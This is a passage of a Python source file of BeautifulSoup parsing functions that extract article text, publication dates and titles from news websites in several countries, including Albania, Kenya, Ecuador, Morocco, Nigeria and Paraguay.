article_date = soup.find('div', attrs={"class":"jeg_meta_date"})
date = article_date.find('a').text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def panoramacomal_story(soup):
"""
Function to pull the information we want from Panorama.al stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class":"td-post-content td-pb-padding-side"})
except:
article_body = None
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
return hold_dict
#%%
def gazetashqiptareal_story(soup):
"""
Function to pull the information we want from Gazetashqiptare.al stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class":"content_right"})
unwanted = article_body.find('div', attrs={"class": "comment_section block_section"})
if unwanted: unwanted.extract()
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class":"news_item__date"})
date = article_date.text.split("-")[1].strip()
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
hold_dict['title'] = soup.find('h1', attrs={"class": "single_article__title"}).text
except:
hold_dict['title'] = ''
return hold_dict
#%%
def gazetaditaal_story(soup):
"""
Function to pull the information we want from Gazetadita.al stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class":"shortcode-content"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class":"meta"})
date = article_date.text.strip()
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1')
except:
article_title = None
hold_dict['title'] = article_title.text
return hold_dict
#%%
def gazetatemanet_story(soup):
"""
Function to pull the information we want from Gazetatema.net stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class":"entry-content"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
return hold_dict
#%%
def telegrafal_story(soup):
"""
Function to pull the information we want from Telegraf.al stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class":"td-post-content"})
maintext = [para.text for para in article_body.find_all('div')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
#date
try:
article_date = soup.find('time')
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1')
except:
article_title = None
hold_dict['title'] = article_title.text
return hold_dict
#%%
def beninwebtvcom_story(soup):
"""
Function to pull the information we want from Beninwebtv stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class":"entry-content clearfix single-post-content"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
#date
try:
article_date = soup.find('time', attrs={"class":"post-published updated"})
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "single-post-title"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
# %%
def newsacotonoucom_story(soup):
"""
Function to pull the information we want from News.Acotonou stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('span', attrs={"class": "FullArticleTexte"})
hold_dict['maintext'] = article_body.text.strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "FontArticleSource"}).text.split("|")[0].split(" ")[2:]
date = " ".join(article_date)
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "FontArticleMainTitle"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
# %%
def lanationbenininfo_story(soup):
"""
Function to pull the information we want from Lanationbenin.info stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "entry-content"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
#date
try:
article_date = soup.find('time')
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1')
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
# %%
def lanouvelletribuneinfo_story(soup):
"""
Function to pull the information we want from Lanouvelletribune.info stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "content-inner"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
#title
try:
article_title = soup.find('h1', attrs={"class": "jeg_post_title"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
# %%
def capitalethiopiacom_story(soup):
"""
Function to pull the information we want from Capitalethiopia.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "td-post-content"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
#date
try:
article_date = soup.find('time')
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "entry-title"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
#This function is not working properly...
def ethiopianreportercom_story(soup):
"""
Function to pull the information we want from Ethiopianreporter.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#date
try:
article_date = soup.find('span',attrs={"class": "post-created"})
print(article_date)
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def ambebige_story(soup):
"""
Function to pull the information we want from Ambebi.ge stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "article_content"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
return hold_dict
#%%
def georgiatodayge_story(soup):
"""
Function to pull the information we want from Georgiatoday.ge stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "news-data"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "news-data"})
date = article_date.div.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def kvirispalitrage_story(soup):
"""
Function to pull the information we want from Kvirispalitra.ge stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "article-content"})
maintext = [para.text.strip() for para in article_body.find_all('div')]
maintext = maintext[1:]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "create_date"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def theeastafricancoke_story(soup):
"""
Function to pull the information we want from Theeastafrican.co.ke stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('section', attrs={"class": "body-copy"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
#title
try:
article_title = soup.find('article', attrs={"class":"main column"})
hold_dict['title'] = article_title.h2.text
except:
article_title = None
#date
try:
article_date = soup.find('header')
date = article_date.h6.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def nationcoke_story(soup):
"""
Function to pull the information we want from Nation.co.ke stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('section', attrs={"class": "body-copy"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
return hold_dict
#%%
def standardmediacoke_story(soup):
"""
Function to pull the information we want from Standardmedia.co.ke stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "content"})
maintext = article_body.text.strip()
hold_dict['maintext'] = maintext
except:
article_body = None
try:
article_date = soup.find('div', attrs={"class": "icon-bar"})
content = article_date.find('p')
unwanted = content.find('span')
if unwanted: unwanted.extract()
date = " ".join(content.text.strip().split(" ")[:3])
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def businesstodaycoke_story(soup):
"""
Function to pull the information we want from Businesstoday.co.ke stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"data-role": "article_content"})
maintext = [para.text for para in article_body.find_all('p')]
maintext.pop()
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
#date
try:
article_date = soup.find('time', attrs={"class": "entry-date published"})
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('span', attrs={"class":"entry-title-primary"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
def thestarcoke_story(soup):
"""
Function to pull the information we want from The-star.co.ke stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "text"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "article-published"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def extraec_story(soup):
"""
Function to pull the information we want from Extra.ec stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find_all('p', attrs={"class": "paragraph"})
maintext = [para.text for para in article_body]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
return hold_dict
#%%
def eluniversocom_story(soup):
"""
Function to pull the information we want from Eluniverso.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"id": "content", "class": "column"})
body = article_body.find('div', attrs={"class": "field-name-body"})
maintext = [para.text for para in body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"id": "content", "class": "column"})
date = article_date.find('span', attrs={"class": "field-content"}).text.split("-")[0]
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def elcomerciocom_story(soup):
"""
Function to pull the information we want from Elcomercio.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "paragraphs"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "date"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
# %%
def eltelegrafocom_story(soup):
"""
Function to pull the information we want from Eltelegrafo.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "entry-content clearfix"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class": "entry-meta-date updated"})
date = article_date.a.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def lahoracomec_story(soup):
"""
Function to pull the information we want from Lahora.com.ec stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "row contentArticulo"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "headerArticulo"})
date = article_date.h3.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('div', attrs={"class": "headerArticulo"})
hold_dict['title'] = article_title.h1.text
except:
article_title = None
return hold_dict
# %%
def expresoec_story(soup):
"""
Function to pull the information we want from Expreso.ec stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "content-modules-container"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
return hold_dict
#%%
def diarioqueec_story(soup):
"""
Function to pull the information we want from Diarioque.ec stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "small-12 columns content"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
return hold_dict
#%%
def eltiempocom_story(soup):
"""
Function to pull the information we want from Eltiempo.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
maintext = [para.text for para in soup.find_all('p', attrs={"class": "contenido"})]
hold_dict['maintext'] = '\n '.join(maintext)
except:
maintext = None
#date
try:
article_date = soup.find('span', attrs={"class": "fecha"})
date = article_date.text.split(",")[0]
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def lagacetacomec_story(soup):
"""
Function to pull the information we want from Lagaceta.com.ec stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "td-post-content"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
#date
try:
article_date = soup.find('time', attrs={"class": "entry-date updated td-module-date"})
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class":"entry-title"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
def elnorteec_story(soup):
"""
Function to pull the information we want from Elnorte.ec stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "entry-content"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext)
except:
article_body = None
return hold_dict
#%%
def gazetaexpresscom_story(soup):
"""
Function to pull the information we want from Gazetaexpress.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "single__content"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
return hold_dict
#%%
def kosovapresscom_story(soup):
"""
Function to pull the information we want from Kosovapress.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"id": "main-content"})
maintext = [para.text for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "article_title"})
date = article_date.p.text.split("|")[1].strip()
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('div', attrs={"class": "article_title"})
hold_dict['title'] = article_title.h2.text
except:
article_title = None
return hold_dict
#%%
def kohanet_story(soup):
"""
Function to pull the information we want from Koha.net stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "news-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
maintext.pop()
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time')
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1')
hold_dict['title'] = article_title.text.strip(u'\u200b')
except:
article_title = None
return hold_dict
#%%
def botasotinfo_story(soup):
"""
Function to pull the information we want from Botasot.info stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "paragraph-holder"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class":"img-auth"})
date = article_date.span.text
date = " ".join(date[date.find("Më"):].split(" ")[1:4])
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1')
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
def malijetcom_story(soup):
"""
Function to pull the information we want from Malijet.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"id": "article_body"})
maintext = [para.text.strip() for para in article_body.find_all('p')][:-1]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class": "story_date"})
date = article_date.text.split(":")[1].strip()
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class":"page_title"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
def lecalameinfo_story(soup):
"""
Function to pull the information we want from Lecalame.info stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "field field-name-body field-type-text-with-summary field-label-hidden"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class": "date"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date= None
#title
try:
article_title = soup.find('div', attrs={"id":"title"})
hold_dict['title'] = article_title.h2.text
except:
article_title = None
return hold_dict
#%%
def alwiaminfo_story(soup):
"""
Function to pull the information we want from Alwiam.info stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "field field-name-body field-type-text-with-summary field-label-hidden"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class": "date"})
date = article_date.text.split(",")[1].strip()
hold_dict['date_publish'] = dateparser.parse(date, settings={'DATE_ORDER': 'DMY'})
except:
article_title = None
#title
try:
article_title = soup.find('div', attrs={"id":"title"})
hold_dict['title'] = article_title.h1.text
except:
article_title = None
return hold_dict
#%%
def frzahraamr_story(soup):
"""
Function to pull the information we want from Fr.zahraa.mr stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "field field-name-body field-type-text-with-summary field-label-hidden"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#title
try:
article_title = soup.find('h1', attrs={"class":"title"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def lematinma_story(soup):
"""
Function to pull the information we want from Lematin.ma stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"itemprop": "articleBody"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time')
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"id":"title"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
def almaghribiama_story(soup):
"""
Function to pull the information we want from Almaghribia.ma stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "article"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "time"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('div', attrs={"class":"sec-info"})
hold_dict['title'] = article_title.h1.text
except:
article_title = None
return hold_dict
#%%
#this method returns different format output instead of Arabic
def marocpresscom_story(soup):
"""
Function to pull the information we want from Marocpress.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "post_content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#title
try:
article_title = soup.find('h3')
hold_dict['title'] = article_title.a['title']
except:
article_title = None
return hold_dict
#%%
def alakhbarpressma_story(soup):
"""
Function to pull the information we want from Alakhbar.press.ma stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "entry-content entry clearfix"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class":"date meta-item fa-before"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "post-title entry-title"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
#returns different format output
def assabahma_story(soup):
"""
Function to pull the information we want from Assabah.ma stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "entry-content entry clearfix"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('span', attrs={"class":"date meta-item fa-before"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "post-title entry-title"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
def leconomistecom_story(soup):
"""
Function to pull the information we want from Leconomiste.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = [para.text.strip() for para in soup.find_all('p', attrs={"class": "rtejustify"})]
hold_dict['maintext'] = '\n '.join(article_body).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class":"author"})
date = article_date.text.split("|")[1].strip().split(" ")[-1]
hold_dict['date_publish'] = dateparser.parse(date, date_formats=['%d/%m/%Y'])
except:
article_date = None
#title
try:
article_title = soup.find('div', attrs={"id": "content_leconomiste"})
hold_dict['title'] = article_title.h1.text.strip()
except:
article_title = None
return hold_dict
#%%
def aminiyadailytrustcomng_story(soup):
"""
Function to pull the information we want from Aminiya.dailytrust.com.ng stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('article', attrs={"class": "article_content__2HqGP"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class":"article_headline__yVgYO"})
date = article_date.find('div', attrs={"class":"article_date__33NGW"})
date = date.div.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def businessnewscomng_story(soup):
"""
Function to pull the information we want from Businessnews.com.ng stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"id": "content-area"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"id":"post-info"})
date = article_date.text[article_date.text.find("on")+2:].strip()
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "headline"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
def sunnewsonlinecom_story(soup):
"""
Function to pull the information we want from Sunnewsonline.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "content-inner"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class":"jeg_meta_date"})
date = article_date.text.replace("th","").strip()
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "jeg_post_title"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
def guardianng_story(soup):
"""
Function to pull the information we want from Guardian.ng stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "single-article-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class":"manual-age single-article-datetime"})
date = article_date.text.strip().split("|")[0]
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def nationaldailyngcom_story(soup):
"""
Function to pull the information we want from Nationaldailyng.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "td-post-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time')
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "entry-title"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
def punchngcom_story(soup):
"""
Function to pull the information we want from Punchng.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "entry-content"})
maintext = [para.text.strip() for para in article_body.find_all('p')][:-3]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('time', attrs={"class": "entry-date published"})
date = article_date['datetime']
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def vanguardngrcom_story(soup):
"""
Function to pull the information we want from Vanguardngr.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#title
try:
article_title = soup.find('h1', attrs={"class": "entry-title"})
hold_dict['title'] = article_title.text
except:
article_title = None
return hold_dict
#%%
def abccompy_story(soup):
"""
Function to pull the information we want from Abc.com.py stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "article-intro"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('div', attrs={"class": "article-date"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def paraguaycom_story(soup):
"""
Function to pull the information we want from Paraguay.com stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "news_story"})
maintext = [para.text.strip() for para in article_body.find_all('div')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('p', attrs={"class": "news_category_and_date"})
date = article_date.text.split("|")[0].strip()
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('div', attrs={"class": "interior_main_column"})
hold_dict['title'] = article_title.h1.text
except:
article_title = None
return hold_dict
#%%
def hoycompy_story(soup):
"""
Function to pull the information we want from Hoy.com.py stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "entry-text"})
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
#date
try:
article_date = soup.find('p', attrs={"class": "byline"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
#title
try:
article_title = soup.find('h1', attrs={"class": "h-b--lg push-bottom-sm"})
hold_dict['title'] = article_title.text.strip()
except:
article_title = None
return hold_dict
#%%
def adndigitalcompy_story(soup):
"""
Function to pull the information we want from Adndigital.com.py stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "entry"})
unwanted = article_body.find('section', attrs={"id": "related_posts"})
if unwanted: unwanted.extract()
maintext = [para.text.strip() for para in article_body.find_all('p')]
hold_dict['maintext'] = '\n '.join(maintext).strip()
except:
article_body = None
return hold_dict
#%%
def _5diascompy_story(soup):
"""
Function to pull the information we want from 5dias.com.py stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#date
try:
article_date = soup.find('h3', attrs={"class": "mono-caps-condensed--md -byline"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def lanacioncompy_story(soup):
"""
Function to pull the information we want from Lanacion.com.py stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#date
try:
article_date = soup.find('div', attrs={"class": "dt"})
date = article_date.text
hold_dict['date_publish'] = dateparser.parse(date)
except:
article_date = None
return hold_dict
#%%
def lesoleilsn_story(soup):
"""
Function to pull the information we want from Lesoleil.sn stories
:param soup: BeautifulSoup object, ready to parse
"""
hold_dict = {}
#text
try:
article_body = soup.find('div', attrs={"class": "simple-text size-4 tt-content title-droid margin-big"})
